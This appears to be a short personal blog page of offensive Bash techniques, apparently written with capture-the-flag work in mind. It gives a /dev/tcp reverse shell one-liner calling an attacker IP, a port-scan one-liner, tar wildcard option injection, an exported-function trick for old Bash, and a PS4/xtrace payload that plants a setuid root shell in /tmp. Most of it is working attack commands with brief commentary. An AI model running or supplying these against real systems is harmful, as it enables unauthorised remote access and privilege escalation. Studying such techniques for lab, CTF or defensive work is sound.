Exploiting Bash

author: Nathan Acks
date: 2022-07-11

A Simple Reverse Shell

bash -li &> /dev/tcp/$ATTACKER_IP/$LISTENER_PORT 0>&1

Catch it with netcat or socat.

(That said, the fact that all of my file descriptors wind up pointing at /dev/tcp is a little mysterious to me. I think what’s happening here is that /dev/tcp is bidirectional “out of the box” - incoming data comes out, just as outgoing data goes in - so binding all three “core” file descriptors to it does the right thing. That, and realize that the X>&Y construct means “bind file descriptor X to file descriptor Y”, and &> is just short for 2>&1 >, and > is just short for 1 >. So really what’s happening here is that we bind STDERR to STDOUT with and implicit 2>&1, then bind STDOUT to /dev/tcp with an implicit 1 >, then bind STDIN to /dev/tcp as well with 0>&1.)

Port Scanning

(: </dev/tcp/$IP_ADDRESS/$PORT) &>/dev/null && echo "OPEN" || echo "CLOSED"

Using Wildcard Expansion to Pass Command Line Options

The wildcard expansion (*) in Bash scripts doesn’t get pushed to the command, but is instead expanded in place. This means that files named like command-line switches will be interpreted as command line switches. This can be used, for example, to exploit sloppy tar-based backup scripts.

Exploiting Functions in Bash < 4.2-048

In versions of Bash < 4.2-048, it’s possible to export functions with the same form as absolute paths to files. These functions will then be executed instead of the fully-specified path if the calling application is relying on the current shell for helper execution.

For example:

function /path/to/executable { /bin/bash -p; }
export -f /path/to/executable

Exploiting $PS4 in Bash < 4.4

When bash is in debugging mode (SHELLOPTS=xtrace), the $PS4 prompt is used to display debugging information.

It would appear that this prompt somehow inherits the permissions of the executable being run. This includes SUID/SGID permissions (at least for Bash < 4.4)!

If you have access to a SUID/SGID executable, this can be abused to create root shells:

env -i \
SHELLOPTS=xtrace \
PS4='$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)' \
/path/to/suid/executable

Again, this only works if the calling application is relying on the current shell for helper execution.

Avoid Dropping Privileges with SUID Bash

Bash will drop privileges by default if SUID. To avoid this, simply supply the -p flag. (Not sure how useful this is beyond CTFs…)